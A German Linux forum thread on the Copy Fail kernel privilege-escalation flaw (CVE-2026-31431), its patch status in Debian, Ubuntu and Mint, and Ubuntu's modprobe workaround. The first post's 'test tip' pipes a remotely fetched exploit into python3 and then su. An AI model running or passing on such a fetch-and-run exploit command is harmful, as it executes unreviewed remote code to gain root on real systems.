Copy Fail (CVE-2026-31431) jetzt in Debian, Ubuntu und anderen gepatcht

  • Die von Xint Code gefundene Sicherheitslücke Copy Fail (CVE-2026-31431), die es einem lokalen Benutzer ermöglichen könnte, dem Root-Benutzer Berechtigungen zu erteilen, wurde in Debian, Ubuntu, AlmaLinux OS und anderen gängigen Distributionen, die von dieser Schwachstelle betroffen sind, behoben.

    weiterlesen:

    https://9to5linux.com/copy-fail-linux-kernel-vulnerability-now-patched-in-debian-ubuntu-and-others

    Tipp zum Testen:

    curl https://copy.fail/exp | python3 && su

    Bildschirmfoto-20260503-180737.png

  • Na dann ist die Welt ja wieder ein wenig sicherer. 😉

    Schade, dass es bei sowas keine Zahlen gibt. Aufgrund des Alters könnte was zusammengekommmen sein - grundsätzlich denke ich aber, dass das eine Lücke war, bei der die wenigsten von uns wirklich einer Gefahr ausgesetzt waren. Glück im Unglück quasi.

  • Schade, dass es bei sowas keine Zahlen gibt. Aufgrund des Alters könnte was zusammengekommmen sein - grundsätzlich denke ich aber, dass das eine Lücke war, bei der die wenigsten von uns wirklich einer Gefahr ausgesetzt waren. Glück im Unglück quasi.

    Leider wird die Gefahrenlage durch gewisse „KI Mythen“ in Zukunft zunehmen. Auch wenn ich hier wirklich keine Unruhe hatte. 😉

  • Moin,

    ich bin etwas enttäuscht von Ubuntu, aktuell betreiben wir vorwiegend 24.04.4 LTS in der Umgebung. Für CVE-2026-31431 hatte ich in meiner Testumgebung den Server aktualisiert, meinen manuellen Workaround zurückgerollt und hatte ein verwundbares System. Der scheint wirklich nur einmalig bei apt upgrade das Laden des Kernel-Moduls über /etc/modprobe.d zu unterbinden und wenn man in seinem eigenen Playbook den exakt gleichen Dateinnamen wir Ubuntu benutzt hat man verloren.

    Debian hatte die Kernel-Patches vergleichsweise schnell in den Repositories, privat benutze ich nur das.

    Ich muß dazu sagen, daß ich in der Firma die Systeme nur sicherheitshalber gepatched habe, die öffentlich erreichbar sind, direkt kommt kein User auf die Shell. Bei einem Freund war es anders, da haben Kunden ggf Shell-Zugriff, der war leicht genervt.

    Für CVE-2026-43284 hat Ubuntu noch keinen offiziellen Patch.

  • Debian und Ubuntu muss man ein bissl unterscheiden. Debian hat sehr schnell die Kernel gepatcht. Auf meinem LMDE7 ist aktuell Kernel 6.12.86https://security-tracker.debian.org/tracker/CVE-2026-31431

    Ubuntu, darauf basierend Linux Mint hat die Kernel noch nicht gepatcht, aber via kmod das Problem abgefangen bis die Kernel gepatcht sind. Auf meinem LM 21.3:

    Code
    cat /etc/modprobe.d/disable-algif_aead.conf
    # Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
    # This will likely be re-enabled in a subsequent update once an updated
    # kernel has been deployed.
    # Blacklisting the module isn't sufficient, we need to do as below:
    install algif_aead /bin/false
  • Das ist schon korrekt, ich konnte das so auch nachstellen. Das fiese war nur, daß mein Workaround eben auch die exakte Datei /etc/modprobe.d/disable-algif_aead.conf schrieb und somit das Rollback davon auch den Workaround von Ubuntu entfernt hat. Erneutes Patchen führte auch nicht zum Erfolg, die Datei wird nicht erneut angelegt.

    Hat einen Moment gebraucht zu erkennen, wieso eben ansible nicht das tat, was ich erwartete. Mir wäre da lieber gewesen, einen anderen namespace für das file zu benutzen, bei Dirty Frag wurde ja auch nur genau der name vom gitrepo genommen, der als Workaround beim Exploitcode benutzt wurde.

    Also ja, funktioniert, aber evt. gibt es eben auch außerhalb des Kernel-Patches etwas robustere Lösungen.

    Ubuntu, darauf basierend Linux Mint hat die Kernel noch nicht gepatcht, aber via kmod das Problem abgefangen bis die Kernel gepatcht sind. Auf meinem LM 21.3:

    Code
    cat /etc/modprobe.d/disable-algif_aead.conf
    # Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
    # This will likely be re-enabled in a subsequent update once an updated
    # kernel has been deployed.
    # Blacklisting the module isn't sufficient, we need to do as below:
    install algif_aead /bin/false
  • apropos Debian (Ubuntu) basierte Distros: Wie sieht das im Moment bei Guides OS aus?

    Die Meldungen sind da etwas widersprüchlich , siehe [1] . Wer nutzt diese Distro und kann Hinweise geben. Danke

    [1]:

    The content cannot be displayed because you do not have authorisation to view this content.
  • Moin Moin!

    Wir arbeiten dran.👍🏻

  • Also ja, funktioniert, aber evt. gibt es eben auch außerhalb des Kernel-Patches etwas robustere Lösungen.

    Die einzige robuste Lösung ist ein gefixter Kernel und dies hat auch wieder gezeigt, dass ne Distro direkt basierend auf Debian bzw. Debian besser ist als ne Distro basierend auf Ubuntu bzw. Ubuntu. Aufgrund anderer Ereignisse habe ich LM nur noch als Zweitsystem (jahrelang Erstsystem), wird durch ein anderes ersetzt werden und LMDE ist aktuell mein erstes Produktivsystem. GuideOS ist i.M. noch in der Testphase, schaue aber auch in Richtung Arch.

  • dass ne Distro direkt basierend auf Debian bzw. Debian besser ist als ne Distro basierend auf Ubuntu bzw. Ubuntu.

    Warum?

    *Computer Club Itzehoe e.V./ Computer Club Elmshorn e.V.*
    Meine Umgebung: * Thinkpad X220 Ubuntu 26.04 (mit Ubuntu Pro) / Kanotix * MacBook Pro 2012 mit Ubuntu 26.04 / OpenCorePatcher macOS Sequoia * Surface Pro 6 Ubuntu 24.04 (mit Ubuntu Pro) * ProPixel 3a Ubuntu Touch * MacBook Air 2011 mit Lubuntu 24.04.

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